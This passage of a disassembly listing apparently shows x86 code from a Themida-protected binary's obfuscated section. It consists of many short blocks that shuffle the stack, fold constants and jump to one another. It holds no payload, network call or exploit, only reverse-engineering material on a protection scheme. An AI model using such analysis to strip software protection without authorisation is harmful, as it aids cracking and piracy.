		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55A572
; ---------------------------------------------------------------------------


loc_55C1FF:				; CODE XREF: Themida_:0055A2B3j
		shl	ecx, 8
		push	ebx
		mov	ebx, 0FD4740Ch
		jmp	loc_555BD5
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_5541F6
; ---------------------------------------------------------------------------


loc_55C21C:				; CODE XREF: Themida_:005527DDj
		add	ebx, 6D0140A1h
		push	dword ptr [esp]
		pop	edi
		push	ebx
		jmp	loc_55595C
; ---------------------------------------------------------------------------


loc_55C22C:				; CODE XREF: Themida_:00556CE4j
		push	ecx
		mov	ecx, 6D8824A9h
		sub	ecx, 0D1B0872h
		xor	ecx, 3EBE6881h
		and	ecx, 56FE4EDFh
		shl	ecx, 8
		sub	ecx, 0FD59EF42h
		xor	ebx, ecx
		pop	ecx
		or	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 0F99AA5DFh
		add	esi, 464B753Fh
		sub	esi, ecx
		push	ebx
		push	ecx
		mov	ecx, 78F014Ch
		jmp	loc_556CAB
; ---------------------------------------------------------------------------


loc_55C272:				; CODE XREF: Themida_:0055BB4Dj
		mov	[esp], ebx
		mov	ebx, 43159FBh
		jmp	loc_55CA9F
; ---------------------------------------------------------------------------


loc_55C27F:				; CODE XREF: Themida_:005551C8j
		or	ebx, 39150460h
		dec	ebx
		jmp	loc_55A7B1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		jmp	loc_554660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55C295:				; CODE XREF: sub_55656B-2208j
		push	eax
		mov	al, dh
		mov	cl, al
		pop	eax
		jmp	loc_551D8B
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55C2A0:				; CODE XREF: Themida_:00557BBFj
		xchg	esi, [esp]
		pop	esp
		add	edi, 145D698Fh
		inc	edi
		xor	edi, 12089EBCh
		mov	ecx, edi
		jmp	loc_559412
; ---------------------------------------------------------------------------


loc_55C2B8:				; CODE XREF: Themida_:0055B305j
		pop	esi
		add	esp, 4
		push	0
		sub	[esp], esi
		jmp	loc_555357
; ---------------------------------------------------------------------------


loc_55C2C9:				; CODE XREF: Themida_:0055C08Fj
		pop	esp
		mov	[esp], ebp
		mov	ebp, 44443C61h
		jmp	loc_55AF77
; ---------------------------------------------------------------------------


loc_55C2D7:				; CODE XREF: Themida_:0055926Fj
		pop	esp
		mov	[esp], edi
		push	507Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_555C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55C2F6:				; CODE XREF: sub_55656B+210Ej
		xor	cl, 0FFh
		not	cl
		shl	cl, 1
		sub	cl, 9
		neg	cl
		xor	cl, 42h
		sub	bl, cl
		jmp	loc_554E16
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55C30C:				; CODE XREF: Themida_:0055C8AFj
		sub	dword ptr [esp], 20F20DFFh
		pop	eax
		add	eax, 20F20DFFh
		jmp	loc_5551E6
; ---------------------------------------------------------------------------


loc_55C31E:				; CODE XREF: Themida_:0055C997j
		mov	edx, 22AE67F7h
		sub	[esp+8], edx
		pop	edx
		pop	edi
		jmp	loc_551A0A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		jmp	loc_55AB58
; ---------------------------------------------------------------------------


loc_55C341:				; CODE XREF: Themida_:005539A6j
		push	ecx
		mov	ecx, esp
		jmp	loc_551BBD
; ---------------------------------------------------------------------------


loc_55C349:				; CODE XREF: Themida_:00558E5Cj
		xor	bl, 0A5h
		add	al, bl
		mov	ebx, [esp]
		add	esp, 4
		xor	bl, al
		push	edx
		push	ecx
		mov	ch, al
		push	ebx
		mov	bh, ch
		mov	dl, bh
		jmp	loc_5530D0
; ---------------------------------------------------------------------------


loc_55C367:				; CODE XREF: Themida_:00553302j
		mov	eax, [esp]
		jmp	loc_55B801
; ---------------------------------------------------------------------------


loc_55C36F:				; CODE XREF: Themida_:0055BE5Cj
		mov	eax, 0B4F6C07Ch
		sub	eax, esi
		pop	esi
		jmp	loc_556B8D
; ---------------------------------------------------------------------------


loc_55C37C:				; CODE XREF: Themida_:005554FAj
		add	edx, 49EE6852h
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_552A5F
; ---------------------------------------------------------------------------


loc_55C394:				; CODE XREF: Themida_:005597FFj
		mov	esp, [esp]
		jmp	loc_55A10E
; ---------------------------------------------------------------------------


loc_55C39C:				; CODE XREF: Themida_:00556465j
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55ACF0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_553886
; ---------------------------------------------------------------------------


loc_55C3E0:				; CODE XREF: Themida_:0055B0C7j
		pop	ebx
		push	4B1Dh
		mov	[esp], esi
		mov	esi, ebp
		mov	edx, esi
		pop	esi
		pop	ebp
		and	ecx, edx
		jmp	loc_5597CA
; ---------------------------------------------------------------------------


loc_55C3F6:				; CODE XREF: Themida_:00557D03j
		dec	edi
		jmp	loc_552CA8
; ---------------------------------------------------------------------------


loc_55C3FC:				; CODE XREF: Themida_:00558043j
		xor	ebp, edx
		pop	edx
		not	ebp
		and	ebp, 754461D9h
		xchg	edx, ebp
		not	edx
		jmp	loc_552C0B
; ---------------------------------------------------------------------------


loc_55C410:				; CODE XREF: Themida_:005569CBj
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	edx
		mov	edx, 2
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_552107
; ---------------------------------------------------------------------------


loc_55C436:				; CODE XREF: Themida_:00554867j
		and	edi, 3E94793Ch
		shr	edi, 7
		jmp	loc_55B549
; ---------------------------------------------------------------------------
		push	30D6h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ebp
		push	ebx
		jmp	loc_552292
; ---------------------------------------------------------------------------


loc_55C455:				; CODE XREF: Themida_:00553BCFj
		or	ebx, 520A1449h
		jmp	loc_556817
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		push	ecx
		mov	ch, 0A3h
		jmp	loc_55DCC1
; ---------------------------------------------------------------------------


loc_55C46A:				; CODE XREF: Themida_:00553F9Fj
		add	ebp, 0F6A9D08Dh
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	ebx
		jmp	loc_556D91
; ---------------------------------------------------------------------------


loc_55C47F:				; CODE XREF: Themida_:0055C892j
		mov	esi, [esp]
		jmp	loc_559D5F
; ---------------------------------------------------------------------------


loc_55C487:				; CODE XREF: Themida_:00556BB5j
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55C495:				; CODE XREF: Themida_:00555057j
		push	ebx
		push	ebp
		mov	ebp, 12030B53h
		mov	ebx, 66C51454h
		jmp	loc_55A9E4
; ---------------------------------------------------------------------------


loc_55C4A6:				; CODE XREF: Themida_:0055DBD6j
		pop	ebp
		or	ebp, 43564E6Ch
		push	edx
		jmp	loc_5592C3
; ---------------------------------------------------------------------------


loc_55C4B3:				; CODE XREF: Themida_:00553A1Bj
		mov	ecx, esp
		push	ebp
		mov	ebp, 643A28D8h
		jmp	loc_555B5F
; ---------------------------------------------------------------------------


loc_55C4C0:				; CODE XREF: Themida_:00554CCBj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55C4D9:				; CODE XREF: Themida_:00557C56j
		pop	eax
		jmp	loc_557750
; ---------------------------------------------------------------------------


loc_55C4DF:				; CODE XREF: Themida_:00554742j
		xor	dword ptr [esp], 71AE18CFh
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 71AE18CFh
		jmp	loc_55753C
; ---------------------------------------------------------------------------


loc_55C4FF:				; CODE XREF: Themida_:005577C9j
		push	edi
		mov	edi, 12966CE1h
		sub	edi, 12966CDDh
		jmp	loc_55CF9B
; ---------------------------------------------------------------------------


loc_55C510:				; CODE XREF: Themida_:0055DC6Ej
		inc	ebp
		xor	ebp, 2CBD9B4h
		add	ebx, ebp
		pop	ebp
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xor	[esp], eax
		jmp	loc_551AD9
; ---------------------------------------------------------------------------


loc_55C52F:				; CODE XREF: Themida_:00553BC4j
		mov	edi, [esp]
		add	esp, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_55B655
		push	dword ptr [edi+1Ch]
		xor	dword ptr [esp], 669446CDh
		jmp	loc_558D8B
; ---------------------------------------------------------------------------


loc_55C555:				; CODE XREF: Themida_:00557ADBj
		pop	ebx
		push	ecx
		neg	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, 3D553054h
		shr	esi, 5
		dec	esi
		jmp	loc_55CDCD
; ---------------------------------------------------------------------------


loc_55C56A:				; CODE XREF: Themida_:005595F1j
		mov	[esp], ecx
		mov	ecx, 2757281Eh
		push	esi
		mov	esi, 61CE7B92h
		neg	esi
		neg	esi
		xor	esi, 6C3B2203h
		dec	esi
		jmp	loc_55530B
; ---------------------------------------------------------------------------


loc_55C588:				; CODE XREF: Themida_:005582ACj
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 7BEE05F4h
		xor	eax, 2D042BB2h
		add	ebx, eax
		pop	eax
		sub	ebx, 210E7943h
		jmp	loc_5536BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55C5A8:				; CODE XREF: sub_55656B-2C47j
		sub	[eax], esi
		pop	esi
		jmp	loc_551A0A
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55C5B0:				; CODE XREF: Themida_:00557F23j
		push	esp
		pop	eax
		jmp	loc_55C1A6
; ---------------------------------------------------------------------------


loc_55C5B7:				; CODE XREF: Themida_:0055D424j
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55536B
; ---------------------------------------------------------------------------


loc_55C5CB:				; CODE XREF: Themida_:00551B22j
		push	ebp
		push	444B3CAEh
		jmp	loc_55BBB6
; ---------------------------------------------------------------------------


loc_55C5D6:				; CODE XREF: Themida_:005568EBj
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		jmp	loc_55748A
; ---------------------------------------------------------------------------


loc_55C5E4:				; CODE XREF: Themida_:00551A70j
		xor	cl, 0D5h
		push	eax
		mov	ah, 2
		xor	cl, ah
		pop	eax
		push	ebx
		jmp	loc_55BDEC
; ---------------------------------------------------------------------------


loc_55C5F3:				; CODE XREF: Themida_:00555DB7j
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_559E04
; ---------------------------------------------------------------------------


loc_55C5FE:				; CODE XREF: Themida_:0055A0BBj
		sub	ecx, 5381094Bh
		jmp	loc_551B4B
; ---------------------------------------------------------------------------


loc_55C609:				; CODE XREF: Themida_:0055649Dj
		push	ebx
		push	edi
		push	3BEE0CD1h
		pop	edi
		sub	edi, 0CF4CF5A1h
		mov	ebx, edi
		pop	edi
		jmp	loc_55C7E3
; ---------------------------------------------------------------------------


loc_55C61F:				; CODE XREF: Themida_:0055658Cj
		mov	ebp, 1211416Bh
		push	eax
		mov	eax, 1D3149C7h
		add	eax, 22F46E16h
		and	eax, 27404FE6h
		add	eax, 659757ABh
		shl	eax, 1
		push	ebp
		mov	ebp, 0AA67BDBDh
		sub	eax, ebp
		pop	ebp
		xor	ebp, eax
		pop	eax
		or	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4A665A65h
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	esi, 0AB0705h
		sub	[edi+20h], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55749E
; ---------------------------------------------------------------------------


loc_55C674:				; CODE XREF: Themida_:00556066j
		mov	[esp], ebp
		jmp	loc_551E7F
; ---------------------------------------------------------------------------


loc_55C67C:				; CODE XREF: Themida_:0055C99Ej
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_558123
; ---------------------------------------------------------------------------


loc_55C68E:				; CODE XREF: Themida_:0055DD52j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	3BFBh
		jmp	loc_55BABB
; ---------------------------------------------------------------------------


loc_55C6A9:				; CODE XREF: Themida_:00558935j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55C6AE:				; CODE XREF: Themida_:0055D266j
		push	ebp
		jmp	loc_55A175
; ---------------------------------------------------------------------------


loc_55C6B4:				; CODE XREF: Themida_:0055D190j
		push	1395h
		mov	[esp], ebp
		inc	dword ptr [esp]
		pop	ebp
		neg	ebp
		sub	ebp, 43AC3C3Ch
		jmp	loc_552580
; ---------------------------------------------------------------------------


loc_55C6CD:				; CODE XREF: Themida_:00553072j
		mov	ecx, 6B667C6Ah
		neg	ecx
		xor	ecx, 8DFFE64Fh
		jmp	loc_5531A9
; ---------------------------------------------------------------------------


loc_55C6DF:				; CODE XREF: Themida_:005578CFj
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55C6EB:				; CODE XREF: Themida_:0055A2F8j
		mov	ebx, 25DF1571h
		or	ebx, 47E04556h
		sub	ebx, 18394E4Ch
		add	edx, ebx
		jmp	loc_556A35
; ---------------------------------------------------------------------------


loc_55C703:				; CODE XREF: Themida_:00558DD3j
		pop	edx
		add	edx, 4
		jmp	loc_556263
; ---------------------------------------------------------------------------


loc_55C70F:				; CODE XREF: Themida_:0055632Aj
		add	eax, 4
		jmp	loc_558719
; ---------------------------------------------------------------------------


loc_55C719:				; CODE XREF: Themida_:0055C0D1j
		pop	eax
		xor	eax, ebx
		pop	ebx
		dec	eax
		inc	eax
		jmp	loc_5523EC
; ---------------------------------------------------------------------------


loc_55C724:				; CODE XREF: Themida_:0055CCA0j
		add	esp, 4
		sub	bl, al
		push	edx
		push	eax
		mov	al, 0D8h
		shl	al, 7
		shr	al, 3
		xor	al, 79h
		mov	dl, al
		pop	eax
		push	ebx
		jmp	loc_557AE0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		jmp	loc_55DF46
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	3759h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_553E80
; ---------------------------------------------------------------------------


loc_55C78C:				; CODE XREF: Themida_:0055DBFAj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	ax, [esp]
		push	ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_5555CA
; ---------------------------------------------------------------------------


loc_55C7B4:				; CODE XREF: Themida_:00557342j
		push	3A54h
		mov	[esp], eax
		jmp	loc_558ACB
; ---------------------------------------------------------------------------


loc_55C7C1:				; CODE XREF: Themida_:0055AE09j
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_558AFC
; ---------------------------------------------------------------------------


loc_55C7D1:				; CODE XREF: Themida_:00558DBBj
		shr	edx, 1
		jmp	loc_5580BE
; ---------------------------------------------------------------------------


loc_55C7D8:				; CODE XREF: Themida_:00552E13j
		push	ebp
		mov	ebp, 9FB54E8h
		jmp	loc_55DEC7
; ---------------------------------------------------------------------------


loc_55C7E3:				; CODE XREF: Themida_:0055C61Aj
		sub	ebx, 0EE3D02F1h
		sub	edi, ebx
		pop	ebx
		add	edi, ecx
		add	edi, 7E64143Fh
		jmp	loc_555BA6
; ---------------------------------------------------------------------------


loc_55C7F9:				; CODE XREF: Themida_:005594BBj
		pop	edx
		add	edi, 4
		jmp	loc_556AF0
; ---------------------------------------------------------------------------


loc_55C805:				; CODE XREF: Themida_:0055DA47j
		sub	ebx, ecx
		jmp	loc_55678A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55AC18
; ---------------------------------------------------------------------------


loc_55C815:				; CODE XREF: Themida_:0055A11Fj
		pop	ebx
		push	3A60h
		mov	[esp], esi
		push	4
		pop	esi
		jmp	loc_55A77F
; ---------------------------------------------------------------------------


loc_55C829:				; CODE XREF: Themida_:0055228Dj
		xor	ecx, 6A3E20BBh
		shr	ecx, 2
		jmp	loc_5584AA
; ---------------------------------------------------------------------------


loc_55C837:				; CODE XREF: Themida_:00559336j
		pop	edi
		add	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 15AD6C40h
		sub	ebx, 4EB74C5Ah
		jmp	loc_559213
; ---------------------------------------------------------------------------


loc_55C84C:				; CODE XREF: Themida_:005555C5j
		mov	eax, 69134934h
		or	eax, 37AE5541h
		add	eax, 2A07D41h
		shl	eax, 3
		push	esi
		mov	esi, 0ED012A52h
		add	eax, esi
		jmp	loc_559441
; ---------------------------------------------------------------------------


loc_55C86B:				; CODE XREF: Themida_:00557DBBj
		push	edx
		jmp	loc_554ED0
; ---------------------------------------------------------------------------


loc_55C871:				; CODE XREF: Themida_:00557FA4j
		mov	[esp], edi
		mov	edi, 33F2628Dh
		xor	edi, 17F222CCh
		jmp	loc_558180
; ---------------------------------------------------------------------------


loc_55C884:				; CODE XREF: Themida_:0055DE4Fj
		sub	esi, 50AD7203h
		add	esi, 9B420E6Bh
		mov	ecx, esi
		jmp	loc_55C47F
; ---------------------------------------------------------------------------


loc_55C897:				; CODE XREF: Themida_:0055296Aj
		mov	ecx, 213E0BBBh
		jmp	loc_552EA7
; ---------------------------------------------------------------------------


loc_55C8A1:				; CODE XREF: Themida_:00558D9Dj
		dec	edx
		add	edx, 1D6E6545h
		add	edx, 0B992432Eh
		push	edx
		jmp	loc_55C30C
; ---------------------------------------------------------------------------


loc_55C8B4:				; CODE XREF: Themida_:0055CD9Bj
		dec	ecx
		shl	ecx, 1
		add	ecx, 0AD36FEE7h
		jmp	loc_553307
; ---------------------------------------------------------------------------


loc_55C8C2:				; CODE XREF: Themida_:005546FFj
		push	ebp
		jmp	loc_55A341
; ---------------------------------------------------------------------------


loc_55C8C8:				; CODE XREF: Themida_:0055B200j
		inc	ecx
		jmp	loc_55DFB6
; ---------------------------------------------------------------------------


loc_55C8CE:				; CODE XREF: Themida_:005531F9j
		mov	[esp], esi
		jmp	loc_55B5D0
; ---------------------------------------------------------------------------


loc_55C8D6:				; CODE XREF: Themida_:00554927j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_553877
; ---------------------------------------------------------------------------


loc_55C8E1:				; CODE XREF: Themida_:005534FBj
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_555580
; ---------------------------------------------------------------------------


loc_55C8FF:				; CODE XREF: Themida_:0055B831j
		mov	ebx, [esp]
		push	ebp
		jmp	loc_556796
; ---------------------------------------------------------------------------


loc_55C908:				; CODE XREF: Themida_:0055D22Cj
		mov	esi, 4
		push	edx
		mov	edx, 7E5C475Dh
		xchg	ebx, edx
		neg	ebx
		xchg	ebx, edx
		add	edx, 0E8B3B4FAh
		jmp	loc_557347
; ---------------------------------------------------------------------------


loc_55C924:				; CODE XREF: Themida_:00553B60j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55C929:				; CODE XREF: Themida_:0055348Dj
		pop	ebx
		push	ecx
		push	2421h
		mov	[esp], eax
		mov	ah, 0D3h
		jmp	loc_5569F4
; ---------------------------------------------------------------------------


loc_55C93A:				; CODE XREF: Themida_:00554080j
		not	esi
		sub	esi, 0AC9C90E5h
		jmp	loc_55A42A
; ---------------------------------------------------------------------------


loc_55C947:				; CODE XREF: Themida_:0055BC84j
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	ecx
		add	ecx, 4
		jmp	loc_5572BF
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	46E9h
		mov	[esp], edi
		jmp	loc_552724
; ---------------------------------------------------------------------------


loc_55C97D:				; CODE XREF: Themida_:0055BC91j
		sub	dword ptr [esp+4], 6FB6391Fh
		add	[esp+4], edi
		add	dword ptr [esp+4], 6FB6391Fh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55C31E
; ---------------------------------------------------------------------------


loc_55C99C:				; CODE XREF: Themida_:0055A86Cj
		mov	eax, esp
		jmp	loc_55C67C
; ---------------------------------------------------------------------------


loc_55C9A3:				; CODE XREF: Themida_:00555CD5j
		sub	eax, 0FC90654Ah
		jmp	loc_55CD6F
; ---------------------------------------------------------------------------


loc_55C9AD:				; CODE XREF: Themida_:0055CE42j
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	edi, ecx
		pop	ecx
		jmp	loc_554CFF
; ---------------------------------------------------------------------------


loc_55C9BD:				; CODE XREF: Themida_:005521A8j
		mov	ecx, [esp]
		jmp	loc_55AAC8
; ---------------------------------------------------------------------------


loc_55C9C5:				; CODE XREF: Themida_:0055442Cj
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	edi
		jmp	loc_556FE5
; ---------------------------------------------------------------------------


loc_55C9D1:				; CODE XREF: Themida_:0055A1A8j
		or	ecx, esi
		pop	esi
		xor	ecx, 1FEE4A91h
		mov	edi, 7A9606C9h
		xor	edi, ecx
		pop	ecx
		jmp	loc_557517
; ---------------------------------------------------------------------------


loc_55C9E7:				; CODE XREF: Themida_:0055488Cj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0DA707DB4h
		xor	edx, eax
		jmp	loc_558A24
; ---------------------------------------------------------------------------


loc_55C9F9:				; CODE XREF: Themida_:0055B898j
		or	ebp, 15D1747Ch
		xor	ebp, 0B79189B8h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_555F4F
; ---------------------------------------------------------------------------


loc_55CA0D:				; CODE XREF: Themida_:005524C6j
		mov	[esp], ecx
		jmp	loc_554AF0
; ---------------------------------------------------------------------------


loc_55CA15:				; CODE XREF: Themida_:0055697Cj
		push	edi
		push	eax
		push	edi
		push	30F74E06h
		pop	edi
		jmp	loc_559896
; ---------------------------------------------------------------------------


loc_55CA23:				; CODE XREF: Themida_:00552646j
		push	ecx
		mov	ecx, 0CAA5B72h
		sub	[esp+4], ecx
		jmp	loc_55BFC8
; ---------------------------------------------------------------------------


loc_55CA32:				; CODE XREF: Themida_:005551D7j
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 7ABB578Dh
		add	esi, 8544A877h
		add	edx, 485E2899h
		add	edx, esi
		jmp	loc_55AE0E
; ---------------------------------------------------------------------------


loc_55CA64:				; CODE XREF: Themida_:00557EA8j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 51560A39h
		inc	ebx
		dec	ebx
		not	ebx
		xor	ebx, 11BB7069h
		add	ebx, 40ED7A55h
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 6D8A4D12h
		jmp	loc_559CB7
; ---------------------------------------------------------------------------


loc_55CA8B:				; CODE XREF: Themida_:00554F73j
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 39927979h
		add	edx, 78A8760Eh
		jmp	loc_5533A4
; ---------------------------------------------------------------------------


loc_55CA9F:				; CODE XREF: Themida_:0055C27Aj
		push	esi
		jmp	loc_559C86
; ---------------------------------------------------------------------------


loc_55CAA5:				; CODE XREF: Themida_:00554BB2j
		add	esp, 4
		shr	ecx, 0Bh
		push	ebx
		push	ebx
		push	esi
		jmp	loc_559FDE
; ---------------------------------------------------------------------------


loc_55CAB6:				; CODE XREF: Themida_:00558A5Cj
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_556927
; ---------------------------------------------------------------------------


loc_55CAC1:				; CODE XREF: Themida_:0055647Ej
		push	69E7h
		jmp	loc_5532B5
; ---------------------------------------------------------------------------


loc_55CACB:				; CODE XREF: Themida_:00558D65j
		add	dword ptr [esp+4], 286E2D57h
		jmp	loc_55C01F
; ---------------------------------------------------------------------------


loc_55CAD8:				; CODE XREF: Themida_:005552BEj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5599D5
; ---------------------------------------------------------------------------


loc_55CAE1:				; CODE XREF: Themida_:0055CC3Ej
		mov	esi, 4CAF7711h
		sub	esi, 0F5265039h
		and	ebp, esi
		jmp	loc_55CF7F
; ---------------------------------------------------------------------------


loc_55CAF3:				; CODE XREF: Themida_:00558DECj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_55283E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55606B
; ---------------------------------------------------------------------------


loc_55CB25:				; CODE XREF: Themida_:00559CFCj
		pop	esi
		jmp	loc_552383
; ---------------------------------------------------------------------------


loc_55CB2B:				; CODE XREF: Themida_:0055A4B4j
		mov	[esp], edx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55CB33:				; CODE XREF: Themida_:00555EE4j
		pop	ecx
		add	esp, 4
		push	ebp
		jmp	loc_55712C
; ---------------------------------------------------------------------------


loc_55CB40:				; CODE XREF: Themida_:0055D9F1j
		push	edi
		push	67003326h
		pop	edi
		or	edi, 59F438AAh
		shr	edi, 2
		dec	edi
		jmp	loc_555834
; ---------------------------------------------------------------------------


loc_55CB56:				; CODE XREF: Themida_:0055ABDFj
		sub	edx, 789F468Ch
		jmp	loc_55484D
; ---------------------------------------------------------------------------


loc_55CB61:				; CODE XREF: Themida_:00551AEEj
		inc	ax
		shr	ax, 1
		shl	ax, 2
		inc	ax
		sub	ax, 0EBEh
		push	eax
		mov	ax, 67DFh
		or	ax, 2243h
		jmp	loc_5552D0
; ---------------------------------------------------------------------------


loc_55CB7E:				; CODE XREF: Themida_:00557523j
		sub	ebp, edi
		pop	edi
		add	edi, 3523293Ah
		add	edi, ebp
		sub	edi, 3523293Ah
		jmp	loc_55561E
; ---------------------------------------------------------------------------


loc_55CB94:				; CODE XREF: Themida_:0055B7D9j
		sub	eax, 10B25A3Dh
		sub	eax, 26DC06FAh
		jmp	loc_55784C
; ---------------------------------------------------------------------------


loc_55CBA3:				; CODE XREF: Themida_:005554CFj
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	esi
		push	ebx
		push	esi
		mov	esi, 5B6B583Ch
		mov	ebx, esi
		pop	esi
		push	5BD2h
		mov	[esp], ecx
		jmp	loc_55D2EC
; ---------------------------------------------------------------------------


loc_55CBCA:				; CODE XREF: Themida_:005583D2j
		pop	ecx
		push	ebx
		mov	bl, 0FAh
		xor	bl, 45h
		sub	al, bl
		pop	ebx
		sub	al, dl
		jmp	loc_55988F
; ---------------------------------------------------------------------------


loc_55CBDB:				; CODE XREF: Themida_:0055BAB6j
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55AEF9
; ---------------------------------------------------------------------------


loc_55CBE6:				; CODE XREF: Themida_:0055372Aj
		mov	[esp], ebp
		jmp	loc_55B422
; ---------------------------------------------------------------------------


loc_55CBEE:				; CODE XREF: Themida_:00551B5Bj
		btc	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55CBF9:				; CODE XREF: Themida_:0055C186j
		add	ebx, edx
		add	ebx, 3D0F2617h
		jmp	loc_556C20
; ---------------------------------------------------------------------------


loc_55CC06:				; CODE XREF: Themida_:00554EE6j
		xor	ebp, [esp]
		jmp	loc_551CD2
; ---------------------------------------------------------------------------


loc_55CC0E:				; CODE XREF: Themida_:0055859Cj
		mov	ebx, 24407FCDh
		or	ebx, 6EF746FDh
		push	eax
		push	ecx
		push	ebp
		mov	ebp, 288A1AD4h
		mov	ecx, ebp
		jmp	loc_5592B5
; ---------------------------------------------------------------------------


loc_55CC28:				; CODE XREF: Themida_:005540BAj
		push	ebp
		mov	ebp, 15902580h
		add	ebp, 4B976964h
		shr	ebp, 8
		xor	ebp, 51B433AFh
		push	esi
		jmp	loc_55CAE1
; ---------------------------------------------------------------------------


loc_55CC43:				; CODE XREF: Themida_:0055578Cj
		push	eax
